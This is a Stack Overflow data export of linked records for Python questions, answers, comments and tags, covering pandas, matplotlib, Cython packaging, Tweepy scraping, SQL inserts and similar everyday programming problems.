has text: You didn't notice that the SQLite3 documentation you cite tells you how, using `PRAGMA journal_mode=WAL`?
score: 0
comment on: http://stackoverflow.com/q/47250220
type: Comment
type: QuestionComment

http://stackoverflow.com/a/47251883
downvote count: 0
score: 4
type: Answer
answers question: http://stackoverflow.com/q/47251853
upvote count: 4
has body: You are overriding nums in each iteration of the loop instead of accumulating them: nums = 0 for x in range (0, times): print ("Enter numbers") nums += int(input())

http://stackoverflow.com/comment/81719793
type: QuestionComment
score: 0
has text: _"I do not know how to add the new highlighted word to a list"_ - can you be more specific? Why can't you simply do `the_list.append(new_word)`?
type: Comment
comment on: http://stackoverflow.com/q/47381898

http://stackoverflow.com/comment/81607695
comment on: http://stackoverflow.com/q/47328086
score: 0
type: Comment
type: QuestionComment
has text: can you provide you code for formset_factory ?

http://stackoverflow.com/comment/81441025
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/47245276
has text: So it turns out it works if I have it out of a function but when i try use it in a function it doesn't work, Updated OP.

http://stackoverflow.com/comment/81600271
score: 0
type: Comment
has text: Its in my post `DiskPreCreateAPIView `.
type: AnswerComment
comment on: http://stackoverflow.com/a/47324765

http://stackoverflow.com/q/47342714
tagged with: python-3.x
has title: Pyinstaller and Cython PermissionError: [Error 13] Permission denied
has answer: http://stackoverflow.com/a/47343754
type: UnansweredQuestion
answer count: 1
has body: I am trying to integrate Cython + Pyinstaller. I am wanting to lastly compile the files with Cython but it keeps giving me: [Error 13] Permission denied I have tried other folders, given myself full administration access. My original file: from selenium.webdriver import Firefox from selenium.webdriver.common.by import By from selenium.webdriver.common.keys import Keys from selenium.webdriver.firefox.options import Options from selenium.webdriver.support import expected_conditions as expected from selenium.webdriver.support.wait import WebDriverWait if name == "main": options = Options() options.add_argument('-headless') driver = Firefox(executable_path='geckodriver', firefox_options=options) wait = WebDriverWait(driver, timeout=10) driver.get('http://www.google.com') wait.until(expected.visibility_of_element_located((By.NAME, 'q'))).send_keys('headless firefox' + Keys.ENTER) wait.until(expected.visibility_of_element_located((By.CSS_SELECTOR, '#ires a'))).click() print(driver.page_source) driver.quit() 1 Convert py to pyx (renaming in Pycharm) h1test.py -&gt; h1test.pyx (Pyx file) 2 Creating a pyd and C file. cython -a h1test.pyx which creates cython -a yourmod.pyx the C, pyd file. 3 Create setup.py file Creating Cython setup... setup( name="test", scripts=glob("*"), ext_modules=cythonize("h1test.pyx") ) Output: usage: Setup.py [global_opts] cmd1 [cmd1_opts] [cmd2 [cmd2_opts] ...] or: Setup.py --help [cmd1 cmd2 ...] or: Setup.py --help-commands or: Setup.py cmd --help error: no commands supplied Process finished with exit code 1 Run: python setup.py develop Which creates test.egg-info folder Lastly the thing which is causing me grief. I copy everything into C:\Users\Stan\test.egg-info I then run: pyinstaller -r h1test.cp36-win_amd64.pyd,dll,h1test.cp36-win_amd64.pyd -r h1test.cp36-win_amd64.pyd,dll,h1test.cp36-win_amd64.pyd -F C:\Users\Stan\test.egg-info Error message: C:\Users\Stan\test.egg-info PermissionError: [Errno 13] Permission denied: 'C:\Users\Stan' C:\WINDO…
score: 0
tagged with: pyinstaller
tagged with: python
tagged with: cython
type: Question

http://stackoverflow.com/comment/81631492
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/47339188
has text: how do I replace the 0,1 with my dataframe? that's where I get confused- and I'm not defining x in my matplotlib, I'm just inputting the columns for x and y

http://stackoverflow.com/comment/81430834
type: QuestionComment
has text: Why worry about performing a 2nd sort? TimSort is optimised for sorting sequences that contain sorted subsequences, so the 2nd sort will be very fast. And you can improve the performance by eliminating that lambda: `key=str.isdigit, reverse=True`
comment on: http://stackoverflow.com/q/47240184
score: 1
type: Comment

http://stackoverflow.com/comment/81401119
comment on: http://stackoverflow.com/a/47225417
score: 1
type: Comment
type: AnswerComment
has text: @IgnacioVergaraKausel could you explain the preference of uint64?

http://stackoverflow.com/comment/81468636
score: 0
type: QuestionComment
has text: Could you check the network tab inside the browser inspector, the browser may send a OPTIONS requests before the real request that checks the CORS headers
comment on: http://stackoverflow.com/q/47253362
type: Comment

http://stackoverflow.com/comment/81466308
comment on: http://stackoverflow.com/q/47257440
score: 0
type: QuestionComment
type: Comment
has text: Agreed for this example both loops do the same, as explained in further while loops the code will change, aka change weaopns etc what I am after was continuous multiple while loops for each level. Without breaking the flow looks like I will have to research into functions.

http://stackoverflow.com/comment/81629011
score: 0
has text: @WR I wish that would be the case. I can tell you its not because when it creates those 2 columns for 1 gate it prefixes the gate names by x and y just to distinguish them. if they would be different this wouldnt be done right?
comment on: http://stackoverflow.com/q/47332121
type: Comment
type: QuestionComment

http://stackoverflow.com/q/47375883
has comment: http://stackoverflow.com/comment/81704164
has comment: http://stackoverflow.com/comment/81704254
accepted answer: http://stackoverflow.com/a/47381343
tagged with: python
has body: I'm reading the book "Make Your Own Neural Network" by Tariq Rashid. This is my code: import numpy class neuralNetwork: def _init_(self,inputnodes,hiddennodes,outputnodes,learningrate): self.inodes=inputnodes self.hnodes=hiddennodes self.onodes=outputnodes self.lr=learningrate pass def train(): pass def query(): pass self.wih=(numpy.random.rand(self.hnodes,self.inodes)-0.5) self.who=(numpy.random.rand(self.onodes,self.hnodes)-0.5) It produces this error: NameError: name 'self' is not defined What am I doing wrong?
has answer: http://stackoverflow.com/a/47381343
has comment: http://stackoverflow.com/comment/81704067
downvote count: 6
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81704109
upvote count: 0
has title: "name 'self' is not defined"
has comment: http://stackoverflow.com/comment/81704106
answer count: 1
score: -6
favorite count: 0
type: Question

http://stackoverflow.com/q/47369003
answer count: 1
has title: What is the best way to achive realtime info on my website currently using php yii framework and django-rest for api with mysql
tagged with: django
downvote count: 1
tagged with: socket.io
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/47369253
type: UnansweredQuestion
tagged with: python
score: -1
tagged with: php
tagged with: node.js
has body: Here i have no idea, what to exactly use to get the real-time information on the web page on my already developed application. The real-time feature will be based on online Auction feature, as a bidder bids low/high amount all the concerned user should reflect the newer price on their window immediately without refreshing the web page. Please suggest me the best way possible, my application based on: PHP 5 frontend with yii 1.1.15 framework Python django-rest framework for the rest api to fetch data from mysql database. for this i have heard about the node js, but will it be possible using only node js without using mongodb/rethinkdb angular or express js or socket.io.
upvote count: 0

http://stackoverflow.com/comment/81536418
comment on: http://stackoverflow.com/q/47292871
type: QuestionComment
type: Comment
has text: No idea, the DB I have been asked to use contains the above given 'x' as text format, so when I read it from DB I get a string which I need to manage.
score: 0

http://stackoverflow.com/comment/81599716
score: 0
has text: “opens the mini window to go find your pic” means the way you upload your image did not use "picturetime()". Show me more code.
type: Comment
comment on: http://stackoverflow.com/a/47303094
type: AnswerComment

http://stackoverflow.com/comment/81636680
type: QuestionComment
has text: a single huge file with millions of rows like this @soundstripe
type: Comment
comment on: http://stackoverflow.com/q/47341034
score: 0

http://stackoverflow.com/q/47291196
tagged with: python
has title: Mining All Tweets and Retweets from A Specified User's Timeline Using Tweepy
tagged with: tweepy
score: 0
has body: I'm trying to mine every single tweet on the WomensMarch's Twitter timeline. I've been trying to use Tweepy and Python 3.x, but I can't seem to mine more than 3219 tweets back. Is there any way to mine /every/ tweet that a specified user on Twitter has ever retweeted or tweeted since the creation of their account? Here's the code I'm currently using: import pandas as pd import tweepy from tweepy import OAuthHandler import time consumer_key = "--" consumer_secret = "--" access_token = "--" access_secret = "--" authHandler = OAuthHandler(consumer_key, consumer_secret) authHandler.set_access_token(access_token, access_secret) twitterAPI = tweepy.API(authHandler, wait_on_rate_limit=True, wait_on_rate_limit_notify=True) womensMarchTwitter = twitterAPI.get_user('womensmarch') minedTwitterDataFrom_womensMarchTwitter = pd.DataFrame(columns=["Tweet Text", "Tweet Created On"]) def MineTimelineData(idToMine): cursor = tweepy.Cursor(twitterAPI.user_timeline, id=idToMine) while(tweepy.Cursor(twitterAPI.user_timeline).items() != None): try: for page in cursor.pages(): for tweet in page: yield tweet except tweepy.RateLimitError: print("Rate limit reached! Waiting 15 minutes...") time.sleep(60 * 15) #wait 15 minutes (900 seconds) minedData = MineTimelineData(womensMarchTwitter.id) numberOfTweetsMined = 0 for tweet in minedData: print(tweet.text) print("Posted on: ", tweet.created_at) minedTwitterDataFrom_womensMarchTwitter.loc[numberOfTweetsMined, "Tweet Text"] = tweet.text minedTwitterDataFrom_womensMarchTwitter.loc[numberOfTweetsMined, "Tweet Created On"] = tweet.created_at numberOfTweetsMined = numberOfTweetsMined + 1 minedTwitterDataFrom_womensMarchTwitter.to_csv(r"PATH") print(numberOfTweetsMined) print("\n \n \n Finished Mining Tweets!")
answer count: 1
has comment: http://stackoverflow.com/comment/81535948
type: Question
tagged with: python-3.x
has answer: http://stackoverflow.com/a/47291715
has comment: http://stackoverflow.com/comment/81533924
type: UnansweredQuestion

tableau-api
type: Tag
tags question: http://stackoverflow.com/q/47273577
tag name: tableau-api
tags question: http://stackoverflow.com/q/47288890

http://stackoverflow.com/a/47250432
type: AcceptedAnswer
has body: Your variable is inside the string so python doesn't recognize it as a variable. Try something like group2=browser.find_element_by_css_selector("input[type='checkbox'][value=" + cells[6] + "]").click()
score: 0
type: Answer
accepted answer of: http://stackoverflow.com/q/47250123
answers question: http://stackoverflow.com/q/47250123
has comment: http://stackoverflow.com/comment/81451396

http://stackoverflow.com/comment/81628885
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47338121
has text: Wish you a nice day! Please continue debate in that question / post !

http://stackoverflow.com/comment/81658920
comment on: http://stackoverflow.com/q/47353297
has text: Please show your expected result. What should it print? What does `multiList` look like after the copy?
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/81498941
score: 2
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/47241607
has text: Thanks for reminder - have pushed a new version to pypi

http://stackoverflow.com/q/47263061
upvote count: 2
has comment: http://stackoverflow.com/comment/81476847
downvote count: 2
tagged with: python
has answer: http://stackoverflow.com/a/47263093
type: AnsweredQuestion
has body: I have the following number in python: import pandas x = pandas.Series(1508770848527.423339843750000) When I'm using x.apply(np.floor) I'm getting 1508770848527.0 but when I'm applying x.astype(int) I'm getting -2147483648. How can I prevent this overflow? I would like to have the number as an integer.
score: 0
tagged with: rounding
tagged with: pandas
has title: Overflow for astype(int) with big number
answer count: 1
accepted answer: http://stackoverflow.com/a/47263093
favorite count: 0
type: Question
tagged with: overflow

http://stackoverflow.com/q/47240079
favorite count: 0
type: Question
has title: Python Folium Choropleth plots
upvote count: 2
type: UnansweredQuestion
has body: I am trying to plot a choropleth plot of the UK using geojson data file which I downloaded from here: https://data.gov.uk/dataset/regions-december-2016-full-extent-boundaries-in-england2 Below is an example of the json data: { "type":"FeatureCollection", "features":[ { "type":"Feature", "properties":{"objectid":1,"rgn16cd":"E12000001","rgn16nm":"North East","bng_e":417313,"bng_n":600358,"long":-1.72889996,"lat":55.2970314,"st_areashape":8675727008.425964,"st_lengthshape":795456.8022925043}, "geometry":{ "type":"MultiPolygon", "coordinates":[[[[-2.0301237629331097,55.80991509288915],[-2.030069429494278,55.80991420787532],[-2.0300215494803053,55.80992140589199],[-2.0300040593387223,55.80993039246682], My csv file looks like this: csv I essentially just want to plot the Taxi column using folium. The problem is the plot does not show anything. I used the following code. import pandas as pd import os import json # read in population data df = pd.read_csv('map-data.csv') import folium from branca.utilities import split_six state_geo = 'Regions_December_2016_Full_Extent_Boundaries_in_England.geojson' m = folium.Map(location=[55, 4], zoom_start=5) m.choropleth( geo_data=state_geo, data=df, columns=['LA-Code', 'Taxi'], key_on='feature.properties.rgn16cd', fill_color='YlGn', fill_opacity=0.7, line_opacity=0.2, legend_name='h', highlight=True ) m I think the problem relates the key_on argument. I can access the correct code in the json file using something like this: geodata['features'][0]['properties']['rgn16cd'] which gives me back the correct LA code (E12000001) but it does not seem to work in the above code. I also tried using features instead of feature in the key_on argument but that gives me an error AttributeError: 'NoneType' object has no attribute 'get' Does anyone have any ideas what the problem is? Thanks.
downvote count: 0
has answer: http://stackoverflow.com/a/47379959
score: 2
tagged with: http://stackoverflow.com/tag/json
answer count: 1
tagged with: python
tagged with: folium

http://stackoverflow.com/q/47288914
upvote count: 2
has body: I have a DataFrame where one of the columns contains strings. I would like to split the strings by spaces and then transform the DataTable, so that it contains one word per row. dat = pd.DataFrame(data = {'x' : [1,2], 'y' : ['Lorem ipsum dolor sit amet', 'consectetur adipiscing elit']}) I would like to get DataFrame like below: x y 1 Lorem 1 ipsum ... 2 consectetur 2 adipiscing ... What is the best way to achieve this?
accepted answer: http://stackoverflow.com/a/47288973
possible better answer: http://stackoverflow.com/a/47288964
tagged with: python
has answer: http://stackoverflow.com/a/47288973
has answer: http://stackoverflow.com/a/47288964
score: 2
type: AnsweredQuestion
answer count: 2
tagged with: pandas
has title: Splitting words to rows in DataFrame
downvote count: 0
favorite count: 0
type: Question
tagged with: python-3.x

http://stackoverflow.com/q/47226345
has body: data = ''' eth 0, address 001, type ethernet device native, cast established. real fair, backup none em 1, address 002, type ethernet device native, cast exit eth 2, address 003, type ethernet device native, cast rescue0b0 page device, native: action$ loopback 3, address 003, type ethernet device native ''' i need to split like below. eth 0, address 001, type ethernet device native, cast established. real fair, backup none em 1, address 002, type ethernet device native, cast exit eth 2, address 003, type ethernet device native, cast rescue0b0 page device, native: action$ loopback 3, address 003, type ethernet device native logic: eth, em, loopback .. all start without any space. and there could be multiple space before middle data. i need that logic challenge: this is not mandatory to have a specific pattern at the end of each paragraph. this is more specific question of split paragraphs with a line which is start without space and lookup the data perline in split data
type: AnsweredQuestion
score: 0
answer count: 2
has answer: http://stackoverflow.com/a/47227722
has title: split paragraphs just before a line which is start without any space
has answer: http://stackoverflow.com/a/47226630
possible better answer: http://stackoverflow.com/a/47226630
type: Question
tagged with: split
accepted answer: http://stackoverflow.com/a/47227722
has comment: http://stackoverflow.com/comment/81403029
tagged with: python

http://stackoverflow.com/q/47339192
score: 1
has comment: http://stackoverflow.com/comment/81630695
linked to: http://stackoverflow.com/q/3068139
has title: Load python source code into function object
favorite count: 0
type: Question
accepted answer: http://stackoverflow.com/a/47339346
tagged with: abstract-syntax-tree
has answer: http://stackoverflow.com/a/47339346
downvote count: 0
answer count: 1
upvote count: 1
tagged with: python
has comment: http://stackoverflow.com/comment/81630814
has body: I need to create a unit-test like framework for light-weight auto grading of single-function python assignments. I'd love to do something like the following: test = """ def foo(x): return x * x """ compiled_module = magic_compile(test) result = compiled_module.foo(3) assert result == 9 Is there such a magic_compile function? The best I have so far is exec(test) result = getattr(sys.modules[__name__], 'foo')(3) But this seems dangerous and unstable. This won't be run in production, so I'm not super-concerned about sandboxing and safety. Just wanted to make sure there wasn't a better solution I'm missing.
type: AnsweredQuestion

http://stackoverflow.com/q/47267535
downvote count: 1
favorite count: 0
type: Question
accepted answer: http://stackoverflow.com/a/47267781
possible better answer: http://stackoverflow.com/a/47267777
tagged with: python
score: -1
has body: I have this code that works for the integers in my list def draw_beautiful(n): ps = list(gen(n)) max = len(' '.join(map(str,ps[-1]))) for p in ps: print(' '.join(map(str,p)).center(max)+'\n') the list is generated like pascals triangle, but every odd is a 1 and every even is a 0. def gen(n,r=[]): for x in range(n): l = len(r) r = [1 if i == 0 or i == l else (r[i=1]+r[i])%2 for i in range(l+1)] yield r as is, it prints a nice triangle made of ones and zeros, but I need the ones to be dots and the zeros to be spaces.
type: AnsweredQuestion
answer count: 2
has title: How do I convert the items in a list from integers to '.' and ' '?
upvote count: 0
has answer: http://stackoverflow.com/a/47267781
has answer: http://stackoverflow.com/a/47267777

http://stackoverflow.com/q/47372003
has comment: http://stackoverflow.com/comment/81696836
downvote count: 0
has comment: http://stackoverflow.com/comment/81696791
has comment: http://stackoverflow.com/comment/81697207
tagged with: vectorization
favorite count: 0
has comment: http://stackoverflow.com/comment/81696816
has answer: http://stackoverflow.com/a/47372530
score: 1
has body: I am dealing with a lot of data, stored in an np.array of size (3, n). I need to perform, for each datum x: xx.T (to form a 3x3 matrix). So this would make n lots of 3x3 matrices. I then need to add the results of each of these matrices to form an overall 3x3 matrix. I did this as follows: np.einsum('ij,ki-&gt;jk', x, x.T) which seems to work. But the problem is, my n is incredibly large (I'm dealing with very large images of many mega pixels), and this method results in a MemoryError. Are there any other ways I can do this whilst maintaining a vectorized method? Thanks!
has comment: http://stackoverflow.com/comment/81696739
tagged with: python
has title: How to perform efficient vectorisation in numpy (memory constraints)
type: Question
has comment: http://stackoverflow.com/comment/81696924
tagged with: numpy
has comment: http://stackoverflow.com/comment/81697281
has comment: http://stackoverflow.com/comment/81696781
type: UnansweredQuestion
upvote count: 1
answer count: 1

http://stackoverflow.com/comment/81579794
has text: oh! thank you. No, i'm using 32bit but i did "7*7*64*1024*4". My fault.
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/47314351
type: Comment

http://stackoverflow.com/q/47351874
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81656866
tagged with: matplotlib
has body: I'm trying to create four subplots, whose axes represent different range of distances [km] in different directions, except for the x-axis of the lower right subplot that represents counts. All the axes of distance should have the same scale in all the subplots. Also, the two subplots on the top should share their y-axes and the two subplots on the left should share their x-axes. Following this issue (whose solution works well for equal limits in x and y axes), I have tried several combinations of the sharex, sharey, aspect, and adjustable, parameters without success. Is there a way to achieve this kind of plot, in particular without affecting any of the axis limits? Here is my MCVE: import matplotlib.pyplot as plt lim1 = [0.,30.] lim2 = [0.,15.] lim3 = [0.,75.] lim4 = [0,5] xdat = [12.,25.] ydat = [6.,12.] zdat = [50.,25.] cdat = [1,1] fig = plt.figure() ax1 = plt.subplot(221,aspect='equal',adjustable='box-forced') ax1.plot(xdat,ydat,'o') ax1.set_xlim(lim1) ax1.set_ylim(lim2) ax2 = plt.subplot(222,aspect='equal',adjustable='box-forced',sharey=ax1) ax2.plot(zdat,ydat,'o') ax2.set_xlim(lim3) ax3 = plt.subplot(223,aspect='equal',adjustable='box-forced',sharex=ax1) ax3.plot(xdat,zdat,'o') ax3.set_ylim(lim3) ax4 = plt.subplot(224) ax4.plot(cdat,zdat,'o') ax4.set_xlim(lim4) ax4.set_ylim(lim3) plt.show() I would like to get something like the plot in the image below, that shows the axes shared as I mentioned above, keeping the original axis limits and the same scale on the different axes of distance. I'm currently using: Platform: Linux Ubuntu 14.04.5 LTS matplotlib: 1.5.1 python: 2.7.14
downvote count: 0
answer count: 1
has comment: http://stackoverflow.com/comment/81682357
accepted answer: http://stackoverflow.com/a/47365358
has title: How to use sharex and sharey combined with aspect=equal and adjustable='box-forced' to create subplots with the same scale in matplotlib?
has answer: http://stackoverflow.com/a/47365358
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81662767
upvote count: 2
has comment: http://stackoverflow.com/comment/81659442
has comment: http://stackoverflow.com/comment/81663269
tagged with: python
has comment: http://stackoverflow.com/comment/81659695
score: 2

django-apps
tag name: django-apps
tags question: http://stackoverflow.com/q/47296531
type: Tag

http://stackoverflow.com/comment/81499430
has text: Ok the test file works, but I can't see how it is any different to the actual file. Let me try to upload it again. Thanks for your patience.
comment on: http://stackoverflow.com/a/47262115
score: 0
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/81491486
type: AnswerComment
has text: How does your sample csv file look, Is it a comma separated file? or space separated
type: Comment
comment on: http://stackoverflow.com/a/47268804
score: 0

http://stackoverflow.com/comment/81453274
type: QuestionComment
has text: @PRMoureu, just write before `for` `{{workers0}}`?
score: 0
type: Comment
comment on: http://stackoverflow.com/q/47251224

iterable-unpacking
type: Tag
tag name: iterable-unpacking
tags question: http://stackoverflow.com/q/47272460

http://stackoverflow.com/comment/81592981
type: QuestionComment
comment on: http://stackoverflow.com/q/47320766
has text: @abccd, Thanks! But I am currently installing a package in python 3.6 using lots of commands, such as "python setup.py build" or "python setup.py install --user". I have changed "python" to "python3" in those commands, but didn't work.
type: Comment
score: 0

http://stackoverflow.com/q/47334088
has comment: http://stackoverflow.com/comment/81619790
tagged with: firebase
has comment: http://stackoverflow.com/comment/81620403
score: 0
has comment: http://stackoverflow.com/comment/81620323
has body: I'm trying to post a json string to Google Firebase. The same command works without hickups using curl, but if I do that using Python, there's no data in the DB. Here's the code: postdata = {"pm10": pm10, "pm2.5": pm25, "lat": gps_data.get('latitude'), "lon": gps_data.get('longitude'), "alt": gps_data.get('speed'), "spd": gps_data.get('altitude2'), "satt": gps_data.get('satellites')} logging.info(args.url) logging.info(postdata) r = requests.post(args.url, data=postdata, headers={'content-type': 'application/json'}) logging.debug(r) I call the script using: python l.py -u http://blabla.firebaseio.com/test1.json The output is: INFO:Serial device initialized INFO:Posting to http://blabla.firebaseio.com/test1.json INFO:http://blabla.firebaseio.com/test1.json INFO:{'satt': 10, 'pm10': 30, 'lon': XX.XXXXX, 'pm2.5': 27, 'lat': YY.YYYYY, 'alt': 0.037, 'spd': 336.8} INFO:PM 10: 30 INFO:PM 2.5: 27 INFO:Latitude: XX.XXXX INFO:longitude: YY.YYYYY But when I open the DB, no data. Using curl with the same parameters works. Update: Logging debug provides this as info: DEBUG:requests.packages.urllib3.connectionpool:Starting new HTTP connection (1): blabla.firebaseio.com DEBUG:requests.packages.urllib3.connectionpool:http://blabla.firebaseio.com:80 "POST /test1.json HTTP/1.1" 404 1571 DEBUG:root:&lt;Response [404]&gt;
tagged with: http://stackoverflow.com/tag/json
has answer: http://stackoverflow.com/a/47351148
tagged with: python
has title: Python: requests.post not posting
type: Question
has comment: http://stackoverflow.com/comment/81619947
type: UnansweredQuestion
answer count: 1
tagged with: python-requests

http://stackoverflow.com/comment/81439384
comment on: http://stackoverflow.com/q/47244442
score: 2
has text: Try this with back references: `re.sub(r'(?<=\.)(?=“)', ' ', text1)`
type: Comment
type: QuestionComment

http://stackoverflow.com/q/47300430
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/47300541
upvote count: 7
score: 1
tagged with: python
has comment: http://stackoverflow.com/comment/81551866
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/47300541
tagged with: random
has body: For example, Try to generate a list of 1000 random numbers with only 0 and 1. s.t. 0 has the prob of 40% 1 has the prob of 60% thanks!
answer count: 1
downvote count: 6
has title: How to generate random numbers with specific probabilities in python?

http://stackoverflow.com/comment/81660142
comment on: http://stackoverflow.com/a/47348031
type: Comment
type: AnswerComment
has text: Ok, do you happen to know which ArangoDB APIs you are using to store the data and retrieve them back from ArangoDB? That would help us find out if there is any conversion/truncation, and where. Thanks!
score: 0

http://stackoverflow.com/a/47272668
accepted answer of: http://stackoverflow.com/q/47272256
type: Answer
answers question: http://stackoverflow.com/q/47272256
has comment: http://stackoverflow.com/comment/81500468
score: 0
has body: I saw what was going wrong. This is the working code: # Prepare SQL query to INSERT a record into the database. sql = """INSERT INTO Studystore(daisycon_unique_id, title, author, isbn, price, link, image_location, category, product_condition, description, in_stock, in_stock_amount, price_shipping, language, book_edition, number_of_pages, status, insert_date, update_date) VALUES ("%s", "%s", "%s", "%s", "%s", "%s", "%s", "%s", "%s", "%s", "%s", "%s", "%s", "%s", "%s", "%s", "%s", "%s", "%s")""" args = (daisycon_unique_id, title, author, isbn, price, link, image_location, category, product_condition, description, in_stock, in_stock_amount, price_shipping, language, book_edition, number_of_pages, status, insert_date, update_date,) try: # Execute the SQL command cursor.execute(sql, args) # Commit your changes in the database db.commit() except Exception as e: print(e)
type: AcceptedAnswer

http://stackoverflow.com/comment/81630376
comment on: http://stackoverflow.com/q/47338970
type: Comment
score: 0
has text: where is your python script contents? please include any of your code attempt so we can further advise. thanks
type: QuestionComment

http://stackoverflow.com/a/47354974
answers question: http://stackoverflow.com/q/47354889
has comment: http://stackoverflow.com/comment/81684948
has comment: http://stackoverflow.com/comment/81682363
has comment: http://stackoverflow.com/comment/81663491
has comment: http://stackoverflow.com/comment/81683131
has comment: http://stackoverflow.com/comment/81676661
downvote count: 0
type: Answer
upvote count: 1
has body: When you're using rb, the file can be read with an unlimited/very big block size directly in the final buffer memory (r). When you're using r, the file must be read with a smaller block size in order to be able to post-process the blocks &amp; remove the \r chars before the \n chars (if it's not done char by char, which would be the easiest but the slowest way) if you can afford to duplicate the memory (which r mode doesn't do), I would suggest: with open(xmlpath + fn, 'rb') as f: r = f.read().decode('UTF-8').replace('\r','') also to save decoding &amp; replacing as comments stated: with open(xmlpath + fn, 'r', newline="") as f: r = f.read()
score: 1

http://stackoverflow.com/a/47376634
type: Answer
score: 0
has body: The class ZeroDict extends a dictionary and returns 0 whenever an inexistent key is requested: class ZeroDict: def __init__(self, dictionary): self.dictionary = dictionary def __getitem__(self, ref): try: return self.dictionary[ref] except KeyError: return 0 def f(**kwargs): kwargs = ZeroDict(kwargs) print (kwargs['a']+kwargs['b']*kwargs['c']) # print(a+b*c) f() f(a=4)
answers question: http://stackoverflow.com/q/47376430

http://stackoverflow.com/comment/81517673
comment on: http://stackoverflow.com/a/47282249
score: 0
type: Comment
type: AnswerComment
has text: added the comment

http://stackoverflow.com/comment/81534896
has text: This mentioned question is not the same as mine "This question already has an answer here: Python subprocess throws [Errno 2] No such file or directory, error generated only when it on a remote host 1 answer"
type: QuestionComment
comment on: http://stackoverflow.com/q/47275761
score: 1
type: Comment

http://stackoverflow.com/comment/81480759
score: 1
type: Comment
type: AnswerComment
has text: @Mohideen ibn Mohammed is right please read the question carefully
comment on: http://stackoverflow.com/a/47265059

http://stackoverflow.com/comment/81673908
type: AnswerComment
comment on: http://stackoverflow.com/a/47351430
type: Comment
has text: That looks like what I would have done. You can explicitly ass 1 with 0.06 to avoid one addition.
score: 0

http://stackoverflow.com/comment/81544113
has text: Not sure I follow leave A and flee both are in the same indent and are under the loop.
comment on: http://stackoverflow.com/q/47296267
score: 0
type: Comment
type: QuestionComment

modelica
tag name: modelica
type: Tag
tags question: http://stackoverflow.com/q/47357897

http://stackoverflow.com/q/47240208
has body: I am am trying to find out, if I can somehow find a matrix exponential in kind of closed form for the symbolic matrix: n=3; a = symbols(['a'+str(1+k) for k in range(n)], real=True); Ts = symbols('T_s',real=True,positive=True); A = Matrix([zeros(1,n),eye(1,n),a]) however expm(A) seems not to work, "TypeError: cannot create mpf from a1"! Then I tried to get an estimate using the series expansion, but again: Sum(A**n, (n, 0, 1)) gives: "ValueError: Matrix det == 0; not invertible". I guess they try to get the power of the matrix by joran blocks and my structure is not good for that. How can I proceed anyway? A**2 can be calculated, but the sum over A**1 and A**0 not?!
favorite count: 0
type: Question
score: 5
upvote count: 5
accepted answer: http://stackoverflow.com/a/47241148
tagged with: python
has title: Sympy Symbolic Matrix Exponential
tagged with: sympy
tagged with: matrix
type: AnsweredQuestion
downvote count: 0
answer count: 1
has answer: http://stackoverflow.com/a/47241148

http://stackoverflow.com/a/47538893
type: Answer
score: 0
has body: I had the same problem. You need to install pykek, which is where ccache resides. You can't run it if you don't have it. :) https://github.com/bidord/pykek
accepted answer of: http://stackoverflow.com/q/47225028
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/47225028

django-rest-auth
tag name: django-rest-auth
tags question: http://stackoverflow.com/q/47280049
tags question: http://stackoverflow.com/q/47284393
type: Tag
tags question: http://stackoverflow.com/q/47279280

http://stackoverflow.com/a/47336431
downvote count: 0
upvote count: 4
answers question: http://stackoverflow.com/q/47336108
type: Answer
has body: You can do this with the regex package re. Also, if you use with you don't have to remember to close your files, which helps me. EDIT: Keep in mind that this matches the exact string, meaning it's also case-sensitive. If you don't want that then you probably need to use an actual regex to find the strings that need replacing. You would do this by replacing find_str in the re.sub() call with r'your_regex_here'. import re # open your csv and read as a text string with open(my_csv_path, 'r') as f: my_csv_text = f.read() find_str = 'The String, that should replaced' replace_str = 'The string that should replace the old striong' # substitute new_csv_str = re.sub(find_str, replace_str, my_csv_text) # open new file and save new_csv_path = './my_new_csv.csv' # or whatever path and name you want with open(new_csv_path, 'w') as f: f.write(new_csv_str)
score: 4
has comment: http://stackoverflow.com/comment/115107803
has comment: http://stackoverflow.com/comment/102688973

http://stackoverflow.com/q/47381900
has answer: http://stackoverflow.com/a/47382072
type: UnansweredQuestion
has title: How can I compare value of one dictionary to another and get that value?
has answer: http://stackoverflow.com/a/47382090
type: Question
has comment: http://stackoverflow.com/comment/81716423
has body: I'm currently parsing through JSON as a quick example this is what it looks like: Dictionary 1: data: 0: tag "importanttagone" value 233 1: tag "importanttagtwo" value 234 Dictionary 2: data: 0: name "Important Tag One" tag "importanttagone" 1: name "Important Tag Two" tag "importanttagtwo" So essentially what I want is to display the name and the value associated. Expected Output: Name: Important Tag On Value: 233 Is there a way to compare both tags in the dictionaries and then get the name that's within the same key as the tag?
tagged with: http://stackoverflow.com/tag/json
tagged with: python
tagged with: dictionary
has answer: http://stackoverflow.com/a/47382058
has answer: http://stackoverflow.com/a/47382781
answer count: 4
has comment: http://stackoverflow.com/comment/81716490
score: 0
linked to: http://stackoverflow.com/q/5946236

http://stackoverflow.com/q/47238870
type: Question
tagged with: numpy
type: UnansweredQuestion
tagged with: python
tagged with: plot
has title: python 3 empty graph
